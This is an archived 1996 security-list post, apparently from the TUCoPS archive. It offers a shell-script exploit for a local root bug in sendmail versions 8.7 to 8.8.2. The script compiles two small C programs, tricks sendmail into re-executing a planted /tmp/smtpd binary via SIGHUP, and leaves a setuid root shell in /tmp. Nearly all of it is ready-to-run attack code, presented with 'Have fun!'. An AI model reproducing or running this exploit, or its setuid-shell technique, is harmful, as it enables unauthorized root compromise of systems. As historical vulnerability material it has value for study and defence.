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TUCoPS :: Linux :: Apps A-M :: linux_se.txt

Exploit for sendmail smtpd bug





               Exploit for sendmail smtpd bug (ver. 8.7-8.8.2).
                                       
   Leshka Zakharoff (leshka@leshka.chuvashia.su)
   Sat, 16 Nov 1996 04:09:18 +0300

#/bin/sh
#
#
#                                   Hi !
#                This is exploit for sendmail smtpd bug
#    (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms).
#         This shell script does a root shell in /tmp directory.
#          If you have any problems with it, drop me a letter.
#                                Have fun !
#
#
#                           ----------------------
#               ---------------------------------------------
#    -----------------   Dedicated to my beautiful lady   ------------------
#               ---------------------------------------------
#                           ----------------------
#
#          Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su
#
#
#
echo   'main()                                                '>>leshka.c
echo   '{                                                     '>>leshka.c
echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);         '>>leshka.c
echo   '}                                                     '>>leshka.c
#
#
echo   'main()                                                '>>smtpd.c
echo   '{                                                     '>>smtpd.c
echo   '  setuid(0); setgid(0);                               '>>smtpd.c
echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");      '>>smtpd.c
echo   '}                                                     '>>smtpd.c
#
#
cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
./leshka
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n
"|head -n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd
/tmp/sh
#-------------------------------- CUT HERE ------------------------------------


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